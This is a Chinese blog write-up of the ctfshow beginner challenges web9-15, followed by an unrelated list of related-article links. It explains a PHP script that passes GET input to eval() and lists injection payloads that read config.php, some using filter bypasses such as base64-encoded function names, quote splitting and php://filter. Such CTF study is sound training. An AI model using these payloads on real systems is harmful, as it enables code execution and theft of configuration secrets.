当前位置: 首页 > news >正文

【WEB】ctfshow-萌新-web9-15

文章目录

  • 题目介绍:
  • 题目分析:
  • payload:


题目介绍:

ctfshow-萌新计划-web9-15

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){$c = $_GET['c'];if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}
}else{highlight_file(__FILE__);
}
?>

题目分析:

  1. 包含配置文件

    • include("config.php");
    • 这行代码包含了一个名为config.php的文件,该文件可能包含一些配置信息,比如flag。
  2. 检查GET参数c是否存在

    • if(isset($_GET['c'])){ ... }
    • 这段代码检查是否有通过GET方法提交的c参数。
  3. 获取c参数的值

    • $c = $_GET['c'];
    • 将GET参数c的值赋给变量$c
  4. 正则表达式匹配

    • if(preg_match("/system|exec|highlight/i",$c)){ ... }
    • 使用preg_match函数检查变量$c是否包含systemexechighlight这些字符串(不区分大小写)。这个正则表达式检查的目的是尝试防止某些特定的命令执行函数被调用。
  5. 执行代码

    • eval($c);
    • 如果正则表达式匹配成功,eval函数将执行变量$c中包含的PHP代码。这是一个非常危险的操作,因为它允许执行任意PHP代码,可能导致严重的安全问题。
  6. 错误处理

    • die("cmd error");
    • 如果正则表达式没有匹配,脚本将终止执行并输出错误信息。
  7. 高亮显示当前文件

    • highlight_file(__FILE__);
    • 如果没有提交c参数,脚本将使用highlight_file函数显示当前脚本文件的源代码。

payload:

?c=system('cat config.php');?c=system('tac config.php');?c=show_source('config.php');?c=passthru('tac config.php');?c=passthru('more config.php');?c=passthru('more confi***hp');?c=passthru('tac con\fig*')?>?c=passthru('c""at con""fig?ph""p')?>?c=passthru("ca''t `ls`")?>?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);?c=$a=opendir('/var/www/html');$e=readdir($a);$e=readdir($a);$e=readdir($a);echo%20readfile($e);?c= include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php?a=cat config.php&c=echo`$_REQUEST[a]`;……

我不会接受我不要的未来,哪怕是命中注定。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • GO之基本语法
  • JavaScript 箭头函数
  • Python爬虫技术 案例集锦
  • 在Ubuntu 24.04上安装ollama报curl: (28) Failed to connect to github.com port 443的解决方法
  • Lambda 表达式(也称为匿名函数)-在java,javascript,python
  • idea破解激活
  • 基于飞腾平台的Kafka移植与安装
  • Occlusion in Augmented Reality
  • 上升探索WebKit的奥秘:打造高效、兼容的现代网页应用
  • 指针和const
  • 【Material-UI】Button 组件中的图标和标签按钮(Buttons with Icons and Label)详解
  • 九/十:C语言-扫雷游戏实现与函数递归
  • 初始Spring与SpringIOC容器
  • 如何根据 EcoVadis 审核的评分标准改进企业社会责任表现?
  • 【C++】| STL算法库详解 | 修改序列的算法、非修改序列的算法、排序和相关操作、数值算法
  • 78. Subsets
  • Cumulo 的 ClojureScript 模块已经成型
  • SpiderData 2019年2月13日 DApp数据排行榜
  • Sublime Text 2/3 绑定Eclipse快捷键
  • SwizzleMethod 黑魔法
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 前端性能优化——回流与重绘
  • 使用Gradle第一次构建Java程序
  • 我的zsh配置, 2019最新方案
  • 想使用 MongoDB ,你应该了解这8个方面!
  • MyCAT水平分库
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • ​LeetCode解法汇总2696. 删除子串后的字符串最小长度
  • ​如何使用QGIS制作三维建筑
  • #HarmonyOS:软件安装window和mac预览Hello World
  • #使用清华镜像源 安装/更新 指定版本tensorflow
  • (1)(1.19) TeraRanger One/EVO测距仪
  • (152)时序收敛--->(02)时序收敛二
  • (16)Reactor的测试——响应式Spring的道法术器
  • (3)Dubbo启动时qos-server can not bind localhost22222错误解决
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (CPU/GPU)粒子继承贴图颜色发射
  • (C语言)深入理解指针2之野指针与传值与传址与assert断言
  • (草履虫都可以看懂的)PyQt子窗口向主窗口传递参数,主窗口接收子窗口信号、参数。
  • (附源码)php投票系统 毕业设计 121500
  • (十六)Flask之蓝图
  • (译)2019年前端性能优化清单 — 下篇
  • (转)Mysql的优化设置
  • (转)重识new
  • (自用)learnOpenGL学习总结-高级OpenGL-抗锯齿
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • .net 7和core版 SignalR
  • .net core Redis 使用有序集合实现延迟队列
  • .NET(C#) Internals: as a developer, .net framework in my eyes
  • .NET+WPF 桌面快速启动工具 GeekDesk
  • .Net程序帮助文档制作
  • .NET国产化改造探索(三)、银河麒麟安装.NET 8环境
  • .pop ----remove 删除
  • @RequestBody与@RequestParam
  • @SpringBootApplication 注解